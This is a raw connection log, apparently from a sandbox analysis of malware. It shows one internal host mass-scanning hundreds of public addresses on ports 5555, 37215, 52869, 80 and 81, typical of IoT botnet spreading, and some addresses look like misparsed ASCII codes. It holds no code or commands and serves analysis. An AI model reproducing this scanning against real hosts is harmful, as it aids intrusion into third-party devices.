Feb 12, 2023 21:25:05.976960897 CET	22272	5555	192.168.2.23	189.128.53.59
Feb 12, 2023 21:25:05.976963997 CET	22272	5555	192.168.2.23	8.71.62.190
Feb 12, 2023 21:25:05.976983070 CET	22272	5555	192.168.2.23	99.157.45.9
Feb 12, 2023 21:25:05.976989031 CET	22272	5555	192.168.2.23	221.164.200.164
Feb 12, 2023 21:25:05.976993084 CET	22272	5555	192.168.2.23	183.162.117.223
Feb 12, 2023 21:25:05.977005959 CET	22272	5555	192.168.2.23	66.181.187.78
Feb 12, 2023 21:25:05.977009058 CET	22272	5555	192.168.2.23	76.243.52.227
Feb 12, 2023 21:25:05.977025032 CET	22272	5555	192.168.2.23	187.133.202.53
Feb 12, 2023 21:25:05.977027893 CET	22272	5555	192.168.2.23	112.29.109.87
Feb 12, 2023 21:25:05.977041960 CET	22272	5555	192.168.2.23	45.43.73.66
Feb 12, 2023 21:25:05.977056026 CET	22272	5555	192.168.2.23	143.134.54.249
Feb 12, 2023 21:25:05.977072001 CET	22272	5555	192.168.2.23	84.82.1.14
Feb 12, 2023 21:25:05.977080107 CET	22272	5555	192.168.2.23	49.58.144.99
Feb 12, 2023 21:25:05.977096081 CET	22272	5555	192.168.2.23	206.224.80.155
Feb 12, 2023 21:25:05.977096081 CET	22272	5555	192.168.2.23	128.208.77.234
Feb 12, 2023 21:25:05.977113008 CET	22272	5555	192.168.2.23	4.137.144.11
Feb 12, 2023 21:25:05.977119923 CET	22272	5555	192.168.2.23	194.248.54.191
Feb 12, 2023 21:25:05.977125883 CET	22272	5555	192.168.2.23	2.109.86.83
Feb 12, 2023 21:25:05.977133989 CET	22272	5555	192.168.2.23	48.218.163.89
Feb 12, 2023 21:25:05.977154016 CET	22272	5555	192.168.2.23	133.221.212.133
Feb 12, 2023 21:25:05.977154970 CET	22272	5555	192.168.2.23	108.190.116.77
Feb 12, 2023 21:25:05.977164030 CET	22272	5555	192.168.2.23	105.176.59.89
Feb 12, 2023 21:25:05.977180958 CET	22272	5555	192.168.2.23	97.102.165.76
Feb 12, 2023 21:25:05.977180958 CET	22272	5555	192.168.2.23	137.119.204.222
Feb 12, 2023 21:25:05.977196932 CET	22272	5555	192.168.2.23	141.228.85.164
Feb 12, 2023 21:25:05.977202892 CET	22272	5555	192.168.2.23	108.70.123.24
Feb 12, 2023 21:25:05.977202892 CET	22272	5555	192.168.2.23	49.168.243.76
Feb 12, 2023 21:25:05.977216959 CET	22272	5555	192.168.2.23	80.126.141.155
Feb 12, 2023 21:25:05.977221966 CET	22272	5555	192.168.2.23	146.87.106.10
Feb 12, 2023 21:25:05.977230072 CET	22272	5555	192.168.2.23	196.116.81.27
Feb 12, 2023 21:25:05.977236986 CET	22272	5555	192.168.2.23	122.2.121.151
Feb 12, 2023 21:25:05.977245092 CET	22272	5555	192.168.2.23	60.59.22.191
Feb 12, 2023 21:25:05.977252007 CET	22272	5555	192.168.2.23	204.12.229.9
Feb 12, 2023 21:25:05.977271080 CET	22272	5555	192.168.2.23	146.45.198.153
Feb 12, 2023 21:25:05.977271080 CET	22272	5555	192.168.2.23	131.26.28.164
Feb 12, 2023 21:25:05.977271080 CET	22272	5555	192.168.2.23	173.132.72.86
Feb 12, 2023 21:25:05.977276087 CET	22272	5555	192.168.2.23	184.161.130.80
Feb 12, 2023 21:25:05.977283001 CET	22272	5555	192.168.2.23	112.4.28.102
Feb 12, 2023 21:25:05.977292061 CET	22272	5555	192.168.2.23	92.12.242.68
Feb 12, 2023 21:25:05.977298021 CET	22272	5555	192.168.2.23	124.231.29.170
Feb 12, 2023 21:25:05.977312088 CET	22272	5555	192.168.2.23	65.92.178.184
Feb 12, 2023 21:25:05.977327108 CET	22272	5555	192.168.2.23	83.169.179.243
Feb 12, 2023 21:25:05.977327108 CET	22272	5555	192.168.2.23	212.126.137.4
Feb 12, 2023 21:25:05.977340937 CET	22272	5555	192.168.2.23	8.153.11.88
Feb 12, 2023 21:25:05.977344990 CET	22272	5555	192.168.2.23	45.162.133.162
Feb 12, 2023 21:25:05.977354050 CET	22272	5555	192.168.2.23	68.28.183.114
Feb 12, 2023 21:25:05.977363110 CET	22272	5555	192.168.2.23	4.157.168.184
Feb 12, 2023 21:25:05.977371931 CET	22272	5555	192.168.2.23	47.8.243.132
Feb 12, 2023 21:25:05.977377892 CET	22272	5555	192.168.2.23	200.22.125.209
Feb 12, 2023 21:25:05.977385998 CET	22272	5555	192.168.2.23	96.76.67.194
Feb 12, 2023 21:25:05.977394104 CET	22272	5555	192.168.2.23	177.252.23.195
Feb 12, 2023 21:25:05.977401972 CET	22272	5555	192.168.2.23	48.173.99.73
Feb 12, 2023 21:25:05.977416039 CET	22272	5555	192.168.2.23	139.160.100.64
Feb 12, 2023 21:25:05.977431059 CET	22272	5555	192.168.2.23	161.104.55.246
Feb 12, 2023 21:25:05.977436066 CET	22272	5555	192.168.2.23	69.126.142.191
Feb 12, 2023 21:25:05.977449894 CET	22272	5555	192.168.2.23	113.176.83.235
Feb 12, 2023 21:25:05.977453947 CET	22272	5555	192.168.2.23	142.106.63.8
Feb 12, 2023 21:25:05.977458954 CET	22272	5555	192.168.2.23	218.70.10.94
Feb 12, 2023 21:25:05.977467060 CET	22272	5555	192.168.2.23	72.149.57.47
Feb 12, 2023 21:25:05.977479935 CET	22272	5555	192.168.2.23	5.211.220.119
Feb 12, 2023 21:25:05.977483034 CET	22272	5555	192.168.2.23	220.119.185.129
Feb 12, 2023 21:25:05.977488995 CET	22272	5555	192.168.2.23	181.57.216.122
Feb 12, 2023 21:25:05.977499962 CET	22272	5555	192.168.2.23	122.112.159.27
Feb 12, 2023 21:25:05.977507114 CET	22272	5555	192.168.2.23	85.251.98.39
Feb 12, 2023 21:25:05.977514982 CET	22272	5555	192.168.2.23	1.232.142.254
Feb 12, 2023 21:25:05.977526903 CET	22272	5555	192.168.2.23	217.148.143.25
Feb 12, 2023 21:25:05.977531910 CET	22272	5555	192.168.2.23	23.154.191.66
Feb 12, 2023 21:25:05.977540970 CET	22272	5555	192.168.2.23	43.188.237.217
Feb 12, 2023 21:25:05.977550030 CET	22272	5555	192.168.2.23	161.129.166.105
Feb 12, 2023 21:25:05.977557898 CET	22272	5555	192.168.2.23	133.238.81.6
Feb 12, 2023 21:25:05.977567911 CET	22272	5555	192.168.2.23	104.204.139.166
Feb 12, 2023 21:25:05.977580070 CET	22272	5555	192.168.2.23	75.255.252.196
Feb 12, 2023 21:25:05.977586985 CET	22272	5555	192.168.2.23	78.213.81.157
Feb 12, 2023 21:25:05.977596998 CET	22272	5555	192.168.2.23	38.31.252.186
Feb 12, 2023 21:25:05.977598906 CET	22272	5555	192.168.2.23	136.162.10.180
Feb 12, 2023 21:25:05.977608919 CET	22272	5555	192.168.2.23	53.22.237.229
Feb 12, 2023 21:25:05.977622986 CET	22272	5555	192.168.2.23	145.142.254.204
Feb 12, 2023 21:25:05.977637053 CET	22272	5555	192.168.2.23	195.98.194.113
Feb 12, 2023 21:25:05.977638006 CET	22272	5555	192.168.2.23	83.239.251.83
Feb 12, 2023 21:25:05.977638006 CET	22272	5555	192.168.2.23	115.254.237.111
Feb 12, 2023 21:25:05.977652073 CET	22272	5555	192.168.2.23	123.140.138.44
Feb 12, 2023 21:25:05.977662086 CET	22272	5555	192.168.2.23	111.246.35.251
Feb 12, 2023 21:25:05.977667093 CET	22272	5555	192.168.2.23	92.42.76.20
Feb 12, 2023 21:25:05.977669954 CET	22272	5555	192.168.2.23	95.93.102.13
Feb 12, 2023 21:25:05.977683067 CET	22272	5555	192.168.2.23	216.14.26.131
Feb 12, 2023 21:25:05.977694035 CET	22272	5555	192.168.2.23	145.46.202.85
Feb 12, 2023 21:25:05.977695942 CET	22272	5555	192.168.2.23	53.69.255.196
Feb 12, 2023 21:25:05.977705956 CET	22272	5555	192.168.2.23	192.111.163.53
Feb 12, 2023 21:25:05.977715969 CET	22272	5555	192.168.2.23	130.80.216.97
Feb 12, 2023 21:25:05.977720022 CET	22272	5555	192.168.2.23	75.212.110.3
Feb 12, 2023 21:25:05.977729082 CET	22272	5555	192.168.2.23	128.217.56.147
Feb 12, 2023 21:25:05.977735996 CET	22272	5555	192.168.2.23	150.78.25.248
Feb 12, 2023 21:25:05.977754116 CET	22272	5555	192.168.2.23	98.217.163.176
Feb 12, 2023 21:25:05.977754116 CET	22272	5555	192.168.2.23	45.140.84.78
Feb 12, 2023 21:25:05.977761030 CET	22272	5555	192.168.2.23	43.118.191.40
Feb 12, 2023 21:25:05.977777958 CET	22272	5555	192.168.2.23	151.214.85.196
Feb 12, 2023 21:25:05.977780104 CET	22272	5555	192.168.2.23	162.12.73.102
Feb 12, 2023 21:25:05.977799892 CET	22272	5555	192.168.2.23	193.140.112.72
Feb 12, 2023 21:25:05.977804899 CET	22272	5555	192.168.2.23	58.134.170.126
Feb 12, 2023 21:25:05.977817059 CET	22272	5555	192.168.2.23	150.197.116.65
Feb 12, 2023 21:25:05.977830887 CET	22272	5555	192.168.2.23	107.125.194.36
Feb 12, 2023 21:25:05.977845907 CET	22272	5555	192.168.2.23	116.164.31.60
Feb 12, 2023 21:25:05.977849960 CET	22272	5555	192.168.2.23	103.190.111.152
Feb 12, 2023 21:25:05.977863073 CET	22272	5555	192.168.2.23	131.32.122.134
Feb 12, 2023 21:25:05.977868080 CET	22272	5555	192.168.2.23	119.238.110.65
Feb 12, 2023 21:25:05.977883101 CET	22272	5555	192.168.2.23	114.104.34.114
Feb 12, 2023 21:25:05.977883101 CET	22272	5555	192.168.2.23	40.168.63.105
Feb 12, 2023 21:25:05.977888107 CET	22272	5555	192.168.2.23	60.183.24.68
Feb 12, 2023 21:25:05.977894068 CET	22272	5555	192.168.2.23	163.141.107.180
Feb 12, 2023 21:25:05.977902889 CET	22272	5555	192.168.2.23	153.72.51.148
Feb 12, 2023 21:25:05.977915049 CET	22272	5555	192.168.2.23	193.34.244.29
Feb 12, 2023 21:25:05.977915049 CET	22272	5555	192.168.2.23	17.188.194.125
Feb 12, 2023 21:25:05.977931023 CET	22272	5555	192.168.2.23	169.31.220.225
Feb 12, 2023 21:25:05.977932930 CET	22272	5555	192.168.2.23	105.49.175.32
Feb 12, 2023 21:25:05.977946043 CET	22272	5555	192.168.2.23	76.103.161.106
Feb 12, 2023 21:25:05.977957964 CET	22272	5555	192.168.2.23	156.15.42.82
Feb 12, 2023 21:25:05.977967978 CET	22272	5555	192.168.2.23	121.244.212.80
Feb 12, 2023 21:25:05.977981091 CET	22272	5555	192.168.2.23	160.240.249.227
Feb 12, 2023 21:25:05.977988005 CET	22272	5555	192.168.2.23	103.59.101.86
Feb 12, 2023 21:25:05.977997065 CET	22272	5555	192.168.2.23	197.193.188.241
Feb 12, 2023 21:25:05.978003979 CET	22272	5555	192.168.2.23	98.60.50.4
Feb 12, 2023 21:25:05.978005886 CET	22272	5555	192.168.2.23	140.59.117.172
Feb 12, 2023 21:25:05.978014946 CET	22272	5555	192.168.2.23	24.20.86.222
Feb 12, 2023 21:25:05.978033066 CET	22272	5555	192.168.2.23	184.40.172.227
Feb 12, 2023 21:25:05.978037119 CET	22272	5555	192.168.2.23	153.66.251.81
Feb 12, 2023 21:25:05.978049040 CET	22272	5555	192.168.2.23	194.212.69.51
Feb 12, 2023 21:25:05.978053093 CET	22272	5555	192.168.2.23	72.68.91.156
Feb 12, 2023 21:25:05.978061914 CET	22272	5555	192.168.2.23	124.51.81.70
Feb 12, 2023 21:25:05.978072882 CET	22272	5555	192.168.2.23	150.178.162.238
Feb 12, 2023 21:25:05.978076935 CET	22272	5555	192.168.2.23	63.159.211.2
Feb 12, 2023 21:25:05.978091002 CET	22272	5555	192.168.2.23	49.122.19.191
Feb 12, 2023 21:25:05.978096008 CET	22272	5555	192.168.2.23	166.216.241.88
Feb 12, 2023 21:25:05.978102922 CET	22272	5555	192.168.2.23	38.167.78.202
Feb 12, 2023 21:25:05.978118896 CET	22272	5555	192.168.2.23	59.119.106.246
Feb 12, 2023 21:25:05.978123903 CET	22272	5555	192.168.2.23	99.108.110.179
Feb 12, 2023 21:25:05.978125095 CET	22272	5555	192.168.2.23	111.17.103.134
Feb 12, 2023 21:25:05.978132963 CET	22272	5555	192.168.2.23	60.59.42.101
Feb 12, 2023 21:25:05.978147030 CET	22272	5555	192.168.2.23	165.30.60.39
Feb 12, 2023 21:25:05.978157043 CET	22272	5555	192.168.2.23	27.117.95.140
Feb 12, 2023 21:25:05.978168964 CET	22272	5555	192.168.2.23	59.21.193.129
Feb 12, 2023 21:25:05.978178978 CET	22272	5555	192.168.2.23	96.250.59.143
Feb 12, 2023 21:25:05.978193045 CET	22272	5555	192.168.2.23	177.238.63.63
Feb 12, 2023 21:25:05.978724957 CET	22272	5555	192.168.2.23	211.106.183.13
Feb 12, 2023 21:25:06.020972013 CET	5555	22272	217.148.143.25	192.168.2.23
Feb 12, 2023 21:25:06.094934940 CET	52920	52869	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:06.094989061 CET	57162	52869	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:06.126919985 CET	60786	52869	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:06.126934052 CET	39138	52869	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:06.126957893 CET	44774	52869	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:06.126959085 CET	50038	52869	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:06.126960039 CET	46530	52869	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:06.126970053 CET	48642	52869	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:06.126971006 CET	48044	52869	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:06.127069950 CET	50416	52869	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:06.143532991 CET	42104	7574	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:06.158987999 CET	47492	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:06.159017086 CET	58926	80	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:06.159017086 CET	60342	80	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:06.159015894 CET	34588	80	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:06.159019947 CET	37584	80	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:06.159035921 CET	42452	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:06.159046888 CET	55026	80	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:06.159095049 CET	46940	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:06.159095049 CET	52604	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:06.230437040 CET	5555	22272	220.119.185.129	192.168.2.23
Feb 12, 2023 21:25:06.230509043 CET	5555	22272	221.164.200.164	192.168.2.23
Feb 12, 2023 21:25:06.232753992 CET	5555	22272	59.21.193.129	192.168.2.23
Feb 12, 2023 21:25:06.243159056 CET	5555	22272	111.246.35.251	192.168.2.23
Feb 12, 2023 21:25:06.254894018 CET	50072	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:06.273503065 CET	5555	22272	124.51.81.70	192.168.2.23
Feb 12, 2023 21:25:06.286940098 CET	36012	81	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:06.384295940 CET	52981	37215	192.168.2.23	157.188.143.248
Feb 12, 2023 21:25:06.384331942 CET	52981	37215	192.168.2.23	197.9.111.3
Feb 12, 2023 21:25:06.384335041 CET	52981	37215	192.168.2.23	186.191.176.59
Feb 12, 2023 21:25:06.384335041 CET	52981	37215	192.168.2.23	197.4.155.121
Feb 12, 2023 21:25:06.384335041 CET	52981	37215	192.168.2.23	157.93.211.174
Feb 12, 2023 21:25:06.384335041 CET	52981	37215	192.168.2.23	41.43.102.49
Feb 12, 2023 21:25:06.384344101 CET	52981	37215	192.168.2.23	65.78.11.143
Feb 12, 2023 21:25:06.384344101 CET	52981	37215	192.168.2.23	157.40.85.45
Feb 12, 2023 21:25:06.384365082 CET	52981	37215	192.168.2.23	41.102.61.17
Feb 12, 2023 21:25:06.384377956 CET	52981	37215	192.168.2.23	157.142.88.159
Feb 12, 2023 21:25:06.384377956 CET	52981	37215	192.168.2.23	49.123.205.12
Feb 12, 2023 21:25:06.384390116 CET	52981	37215	192.168.2.23	131.27.226.77
Feb 12, 2023 21:25:06.384392977 CET	52981	37215	192.168.2.23	41.31.149.159
Feb 12, 2023 21:25:06.384399891 CET	52981	37215	192.168.2.23	41.253.131.124
Feb 12, 2023 21:25:06.384399891 CET	52981	37215	192.168.2.23	197.118.80.96
Feb 12, 2023 21:25:06.384399891 CET	52981	37215	192.168.2.23	197.97.3.187
Feb 12, 2023 21:25:06.384409904 CET	52981	37215	192.168.2.23	197.7.108.148
Feb 12, 2023 21:25:06.384411097 CET	52981	37215	192.168.2.23	148.207.84.57
Feb 12, 2023 21:25:06.384417057 CET	52981	37215	192.168.2.23	197.26.151.35
Feb 12, 2023 21:25:06.384417057 CET	52981	37215	192.168.2.23	159.113.154.31
Feb 12, 2023 21:25:06.384417057 CET	52981	37215	192.168.2.23	41.85.133.239
Feb 12, 2023 21:25:06.384417057 CET	52981	37215	192.168.2.23	41.43.9.63
Feb 12, 2023 21:25:06.384438992 CET	52981	37215	192.168.2.23	157.226.165.23
Feb 12, 2023 21:25:06.384438992 CET	52981	37215	192.168.2.23	197.234.246.88
Feb 12, 2023 21:25:06.384443998 CET	52981	37215	192.168.2.23	41.113.230.234
Feb 12, 2023 21:25:06.384474039 CET	52981	37215	192.168.2.23	41.199.240.188
Feb 12, 2023 21:25:06.384474993 CET	52981	37215	192.168.2.23	197.150.121.190
Feb 12, 2023 21:25:06.384488106 CET	52981	37215	192.168.2.23	157.80.24.28
Feb 12, 2023 21:25:06.384520054 CET	52981	37215	192.168.2.23	197.248.66.155
Feb 12, 2023 21:25:06.384540081 CET	52981	37215	192.168.2.23	177.197.103.211
Feb 12, 2023 21:25:06.384540081 CET	52981	37215	192.168.2.23	157.17.205.108
Feb 12, 2023 21:25:06.384587049 CET	52981	37215	192.168.2.23	53.112.84.225
Feb 12, 2023 21:25:06.384628057 CET	52981	37215	192.168.2.23	41.169.47.58
Feb 12, 2023 21:25:06.384629011 CET	52981	37215	192.168.2.23	157.74.20.118
Feb 12, 2023 21:25:06.384629011 CET	52981	37215	192.168.2.23	197.15.80.203
Feb 12, 2023 21:25:06.384655952 CET	52981	37215	192.168.2.23	41.55.29.41
Feb 12, 2023 21:25:06.384660006 CET	52981	37215	192.168.2.23	41.184.249.116
Feb 12, 2023 21:25:06.384689093 CET	52981	37215	192.168.2.23	157.223.141.55
Feb 12, 2023 21:25:06.384718895 CET	52981	37215	192.168.2.23	41.211.6.25
Feb 12, 2023 21:25:06.384725094 CET	52981	37215	192.168.2.23	157.47.104.85
Feb 12, 2023 21:25:06.384735107 CET	52981	37215	192.168.2.23	197.175.246.230
Feb 12, 2023 21:25:06.384758949 CET	52981	37215	192.168.2.23	157.219.207.149
Feb 12, 2023 21:25:06.384790897 CET	52981	37215	192.168.2.23	197.204.245.32
Feb 12, 2023 21:25:06.384804964 CET	52981	37215	192.168.2.23	157.236.46.203
Feb 12, 2023 21:25:06.384833097 CET	52981	37215	192.168.2.23	41.131.101.115
Feb 12, 2023 21:25:06.384840965 CET	52981	37215	192.168.2.23	197.51.170.192
Feb 12, 2023 21:25:06.384862900 CET	52981	37215	192.168.2.23	197.33.219.104
Feb 12, 2023 21:25:06.384891987 CET	52981	37215	192.168.2.23	197.68.224.8
Feb 12, 2023 21:25:06.384912014 CET	52981	37215	192.168.2.23	167.89.191.131
Feb 12, 2023 21:25:06.384912968 CET	52981	37215	192.168.2.23	157.24.115.66
Feb 12, 2023 21:25:06.384933949 CET	52981	37215	192.168.2.23	197.93.7.35
Feb 12, 2023 21:25:06.384948969 CET	52981	37215	192.168.2.23	197.7.175.70
Feb 12, 2023 21:25:06.384963989 CET	52981	37215	192.168.2.23	197.162.143.170
Feb 12, 2023 21:25:06.384998083 CET	52981	37215	192.168.2.23	167.219.51.205
Feb 12, 2023 21:25:06.384998083 CET	52981	37215	192.168.2.23	157.106.100.188
Feb 12, 2023 21:25:06.385004997 CET	52981	37215	192.168.2.23	157.242.32.154
Feb 12, 2023 21:25:06.385011911 CET	52981	37215	192.168.2.23	41.101.245.183
Feb 12, 2023 21:25:06.385067940 CET	52981	37215	192.168.2.23	41.171.11.249
Feb 12, 2023 21:25:06.385097027 CET	52981	37215	192.168.2.23	41.46.214.169
Feb 12, 2023 21:25:06.385097027 CET	52981	37215	192.168.2.23	197.89.69.209
Feb 12, 2023 21:25:06.385113001 CET	52981	37215	192.168.2.23	197.45.251.106
Feb 12, 2023 21:25:06.385113001 CET	52981	37215	192.168.2.23	41.53.0.135
Feb 12, 2023 21:25:06.385123968 CET	52981	37215	192.168.2.23	80.128.15.17
Feb 12, 2023 21:25:06.385123968 CET	52981	37215	192.168.2.23	182.20.115.47
Feb 12, 2023 21:25:06.385126114 CET	52981	37215	192.168.2.23	190.17.76.63
Feb 12, 2023 21:25:06.385135889 CET	52981	37215	192.168.2.23	211.211.104.141
Feb 12, 2023 21:25:06.385138035 CET	52981	37215	192.168.2.23	197.218.195.34
Feb 12, 2023 21:25:06.385143042 CET	52981	37215	192.168.2.23	24.152.191.210
Feb 12, 2023 21:25:06.385175943 CET	52981	37215	192.168.2.23	157.235.23.218
Feb 12, 2023 21:25:06.385176897 CET	52981	37215	192.168.2.23	157.160.58.253
Feb 12, 2023 21:25:06.385180950 CET	52981	37215	192.168.2.23	197.45.109.241
Feb 12, 2023 21:25:06.385183096 CET	52981	37215	192.168.2.23	164.184.132.206
Feb 12, 2023 21:25:06.385183096 CET	52981	37215	192.168.2.23	67.85.63.119
Feb 12, 2023 21:25:06.385205030 CET	52981	37215	192.168.2.23	163.39.180.215
Feb 12, 2023 21:25:06.385205984 CET	52981	37215	192.168.2.23	108.166.221.9
Feb 12, 2023 21:25:06.385207891 CET	52981	37215	192.168.2.23	157.136.188.31
Feb 12, 2023 21:25:06.385210037 CET	52981	37215	192.168.2.23	41.27.30.60
Feb 12, 2023 21:25:06.385210037 CET	52981	37215	192.168.2.23	145.208.188.186
Feb 12, 2023 21:25:06.385217905 CET	52981	37215	192.168.2.23	157.105.51.202
Feb 12, 2023 21:25:06.385217905 CET	52981	37215	192.168.2.23	41.103.96.245
Feb 12, 2023 21:25:06.385217905 CET	52981	37215	192.168.2.23	157.188.79.66
Feb 12, 2023 21:25:06.385226965 CET	52981	37215	192.168.2.23	197.116.130.67
Feb 12, 2023 21:25:06.385230064 CET	52981	37215	192.168.2.23	221.82.186.212
Feb 12, 2023 21:25:06.385231018 CET	52981	37215	192.168.2.23	157.192.99.125
Feb 12, 2023 21:25:06.385231018 CET	52981	37215	192.168.2.23	197.7.57.229
Feb 12, 2023 21:25:06.385231972 CET	52981	37215	192.168.2.23	41.43.39.86
Feb 12, 2023 21:25:06.385232925 CET	52981	37215	192.168.2.23	37.108.216.140
Feb 12, 2023 21:25:06.385246038 CET	52981	37215	192.168.2.23	197.121.87.3
Feb 12, 2023 21:25:06.385250092 CET	52981	37215	192.168.2.23	9.175.163.147
Feb 12, 2023 21:25:06.385246038 CET	52981	37215	192.168.2.23	139.248.106.249
Feb 12, 2023 21:25:06.385268927 CET	52981	37215	192.168.2.23	41.92.224.24
Feb 12, 2023 21:25:06.385268927 CET	52981	37215	192.168.2.23	41.129.167.103
Feb 12, 2023 21:25:06.385282040 CET	52981	37215	192.168.2.23	73.204.204.15
Feb 12, 2023 21:25:06.385293007 CET	52981	37215	192.168.2.23	217.164.251.8
Feb 12, 2023 21:25:06.385302067 CET	52981	37215	192.168.2.23	41.179.252.126
Feb 12, 2023 21:25:06.385323048 CET	52981	37215	192.168.2.23	197.124.134.1
Feb 12, 2023 21:25:06.385354042 CET	52981	37215	192.168.2.23	175.143.113.85
Feb 12, 2023 21:25:06.385359049 CET	52981	37215	192.168.2.23	184.53.25.105
Feb 12, 2023 21:25:06.385392904 CET	52981	37215	192.168.2.23	197.55.70.239
Feb 12, 2023 21:25:06.385394096 CET	52981	37215	192.168.2.23	197.44.201.165
Feb 12, 2023 21:25:06.385435104 CET	52981	37215	192.168.2.23	41.217.70.221
Feb 12, 2023 21:25:06.385437965 CET	52981	37215	192.168.2.23	41.172.96.40
Feb 12, 2023 21:25:06.385435104 CET	52981	37215	192.168.2.23	41.4.191.51
Feb 12, 2023 21:25:06.385471106 CET	52981	37215	192.168.2.23	157.38.48.176
Feb 12, 2023 21:25:06.385495901 CET	52981	37215	192.168.2.23	197.116.218.209
Feb 12, 2023 21:25:06.385555983 CET	52981	37215	192.168.2.23	149.108.124.219
Feb 12, 2023 21:25:06.385579109 CET	52981	37215	192.168.2.23	41.74.213.29
Feb 12, 2023 21:25:06.385611057 CET	52981	37215	192.168.2.23	189.79.233.142
Feb 12, 2023 21:25:06.385629892 CET	52981	37215	192.168.2.23	1.222.193.113
Feb 12, 2023 21:25:06.385660887 CET	52981	37215	192.168.2.23	41.132.100.143
Feb 12, 2023 21:25:06.385662079 CET	52981	37215	192.168.2.23	197.50.217.200
Feb 12, 2023 21:25:06.385690928 CET	52981	37215	192.168.2.23	71.249.180.38
Feb 12, 2023 21:25:06.385709047 CET	52981	37215	192.168.2.23	157.139.152.209
Feb 12, 2023 21:25:06.385737896 CET	52981	37215	192.168.2.23	197.212.70.179
Feb 12, 2023 21:25:06.385740995 CET	52981	37215	192.168.2.23	157.69.59.17
Feb 12, 2023 21:25:06.385763884 CET	52981	37215	192.168.2.23	41.239.111.185
Feb 12, 2023 21:25:06.385782003 CET	52981	37215	192.168.2.23	41.237.31.85
Feb 12, 2023 21:25:06.385804892 CET	52981	37215	192.168.2.23	41.192.63.104
Feb 12, 2023 21:25:06.385828972 CET	52981	37215	192.168.2.23	197.160.246.125
Feb 12, 2023 21:25:06.385849953 CET	52981	37215	192.168.2.23	157.155.69.225
Feb 12, 2023 21:25:06.385869026 CET	52981	37215	192.168.2.23	197.242.51.170
Feb 12, 2023 21:25:06.385885954 CET	52981	37215	192.168.2.23	157.143.94.33
Feb 12, 2023 21:25:06.385899067 CET	52981	37215	192.168.2.23	197.134.8.228
Feb 12, 2023 21:25:06.385927916 CET	52981	37215	192.168.2.23	177.128.66.211
Feb 12, 2023 21:25:06.385932922 CET	52981	37215	192.168.2.23	61.230.120.118
Feb 12, 2023 21:25:06.385965109 CET	52981	37215	192.168.2.23	41.116.1.10
Feb 12, 2023 21:25:06.385977983 CET	52981	37215	192.168.2.23	159.137.104.236
Feb 12, 2023 21:25:06.386012077 CET	52981	37215	192.168.2.23	83.187.98.21
Feb 12, 2023 21:25:06.386018038 CET	52981	37215	192.168.2.23	82.93.67.79
Feb 12, 2023 21:25:06.386018991 CET	52981	37215	192.168.2.23	41.241.233.40
Feb 12, 2023 21:25:06.386034966 CET	52981	37215	192.168.2.23	41.57.36.152
Feb 12, 2023 21:25:06.386055946 CET	52981	37215	192.168.2.23	13.139.182.126
Feb 12, 2023 21:25:06.386076927 CET	52981	37215	192.168.2.23	197.90.135.208
Feb 12, 2023 21:25:06.386095047 CET	52981	37215	192.168.2.23	197.215.52.115
Feb 12, 2023 21:25:06.386109114 CET	52981	37215	192.168.2.23	197.221.243.204
Feb 12, 2023 21:25:06.386132002 CET	52981	37215	192.168.2.23	41.36.166.105
Feb 12, 2023 21:25:06.386152983 CET	52981	37215	192.168.2.23	157.95.128.53
Feb 12, 2023 21:25:06.386163950 CET	52981	37215	192.168.2.23	41.73.183.197
Feb 12, 2023 21:25:06.386176109 CET	52981	37215	192.168.2.23	41.58.24.157
Feb 12, 2023 21:25:06.386197090 CET	52981	37215	192.168.2.23	136.46.24.174
Feb 12, 2023 21:25:06.386214972 CET	52981	37215	192.168.2.23	157.34.52.215
Feb 12, 2023 21:25:06.386243105 CET	52981	37215	192.168.2.23	41.206.169.185
Feb 12, 2023 21:25:06.386262894 CET	52981	37215	192.168.2.23	157.164.160.122
Feb 12, 2023 21:25:06.386271954 CET	52981	37215	192.168.2.23	80.136.212.83
Feb 12, 2023 21:25:06.386292934 CET	52981	37215	192.168.2.23	197.167.138.103
Feb 12, 2023 21:25:06.386310101 CET	52981	37215	192.168.2.23	197.83.110.230
Feb 12, 2023 21:25:06.386332035 CET	52981	37215	192.168.2.23	197.130.51.123
Feb 12, 2023 21:25:06.386368990 CET	52981	37215	192.168.2.23	27.160.116.202
Feb 12, 2023 21:25:06.386369944 CET	52981	37215	192.168.2.23	157.5.25.17
Feb 12, 2023 21:25:06.386369944 CET	52981	37215	192.168.2.23	197.66.65.32
Feb 12, 2023 21:25:06.386394024 CET	52981	37215	192.168.2.23	132.126.101.221
Feb 12, 2023 21:25:06.386405945 CET	52981	37215	192.168.2.23	197.114.149.143
Feb 12, 2023 21:25:06.386425972 CET	52981	37215	192.168.2.23	197.160.115.75
Feb 12, 2023 21:25:06.386442900 CET	52981	37215	192.168.2.23	164.28.207.84
Feb 12, 2023 21:25:06.386461020 CET	52981	37215	192.168.2.23	41.226.155.119
Feb 12, 2023 21:25:06.386487961 CET	52981	37215	192.168.2.23	41.138.65.101
Feb 12, 2023 21:25:06.386512041 CET	52981	37215	192.168.2.23	197.91.167.185
Feb 12, 2023 21:25:06.386545897 CET	52981	37215	192.168.2.23	197.241.214.150
Feb 12, 2023 21:25:06.386547089 CET	52981	37215	192.168.2.23	112.182.246.13
Feb 12, 2023 21:25:06.386549950 CET	52981	37215	192.168.2.23	157.212.89.161
Feb 12, 2023 21:25:06.386570930 CET	52981	37215	192.168.2.23	101.116.61.106
Feb 12, 2023 21:25:06.386599064 CET	52981	37215	192.168.2.23	197.31.9.143
